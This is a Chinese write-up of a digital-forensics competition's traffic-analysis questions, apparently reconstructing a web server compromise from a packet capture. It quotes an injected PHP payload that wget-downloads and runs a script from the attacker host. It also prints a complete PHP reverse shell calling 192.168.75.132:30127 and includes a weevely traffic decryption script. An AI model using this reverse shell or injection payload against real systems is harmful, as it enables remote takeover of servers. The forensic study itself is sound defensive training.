24首届数证杯(流量分析部分)

目录

流量分析

1、分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10)

复制代码
3504

相加即可

2、分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?

复制代码
23F79

3、分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1)

复制代码
192.168.75.131

结合报文和会话的统计可以确定

4、分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu)

复制代码
ubuntu

直接看报文

5、分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc)

复制代码
nmap

报文中包含Nmap Scripting Engine (NSE):说明该请求由 Nmap 的脚本引擎发出。

复制代码
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

6、分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1)

复制代码
3.1.0

Wfuzz 是一个 Python 编码的应用程序,用于模糊测试 Web 应用程序。它提供了各种过滤器,通过将简单的 Web 请求替换为变量"FUZZ",可以将其替换为所需的字典列表。

7、分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php)

复制代码
/dbadmin/test_db.php

我直接看导出结果中的文件

跟进查看,可以看到登录成功了

8、分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写)

复制代码
admin

9、分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt)

复制代码
demo.php

攻击者先是创建了demo.php,之后再写入了phpinfo

写入phpinfo

10 、分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?

复制代码
rev.txt

可以看到木马脚本,往前看报文可以发现通过wget命令上传的

html 复制代码
tablename=rev&rows=1&0_field=re&0_type=INTEGER&0_defaultvalue=<?php system("wget 192.168.75.132:2000/rev.txt -O /tmp/rev.php; php /tmp/rev.php"); ?>')

11 、分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234)

复制代码
192.168.75.132:30127

根据上传脚本里的内容

php 复制代码
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

12 、分析网络流量包检材,攻击者电脑所使用的Python版本号是?

复制代码
3.11.8

查看攻击者的脚本,可以看help.php中报文中包含的python版本

13、分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp)

复制代码
wordpress

14、分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写)

复制代码
sWfCsfJSPV9H3AmQzw8
复制代码
/** MySQL database password */

define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');

15 、分析网络流量包检材,攻击者上传了个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306)

复制代码
2000

记住,要查看tcp流,在http流是看不到交互

16、 分析网络流量包检材,攻击者上传了个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写)

复制代码
57638

发送的密文:}HWf-=PXe:{?M	 .cbbf9691e009G6oqKP+t4ABWAVLT4dExMHs6Ylw85a89e92c410f_OUraaYXp_&IVH4

返回的密文:dzINRguo2g6mkn7ycbbf9691e009G6pSUAZWgTBjNUtkPw==85a89e92c410

解密脚本

python 复制代码
import base64
import zlib

def decrypt(ciphertext, key, kh, kf):
    def xor_encrypt(data, key):
        """XOR 解密函数"""
        l = len(key)
        return ''.join(chr(data[i] ^ ord(key[i % l])) for i in range(len(data)))
    
    # 提取加密数据
    start = ciphertext.find(kh) + len(kh)
    end = ciphertext.find(kf)
    if start == -1 or end == -1:
        raise ValueError("密文格式不正确")
    
    encoded_data = ciphertext[start:end]
    
    # Base64 解码
    encrypted_data = base64.b64decode(encoded_data)
    
    # XOR 解密
    decrypted_data = xor_encrypt(encrypted_data, key).encode('latin1')
    
    # 解压缩
    try:
        decompressed_data = zlib.decompress(decrypted_data)
        return decompressed_data.decode('utf-8')
    except zlib.error as e:
        raise ValueError(f"解压缩失败: {e}")

# 密文和密钥
ciphertext = "dzINRguo2g6mkn7ycbbf9691e009G6pSUAZWgTBjNUtkPw==85a89e92c410"
key = "c6ae1e70"
kh = "cbbf9691e009"
kf = "85a89e92c410"

try:
    result = decrypt(ciphertext, key, kh, kf)
    print("解密结果:", result)
except Exception as e:
    print("解密失败:", e)
相关推荐
白帽攻防录1 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的11 小时前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop11 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全17 小时前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴20 小时前
【APP安全测试】Frida 基础
网络安全
科技象限21 小时前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd1 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Dachui_11222 天前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub2 天前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构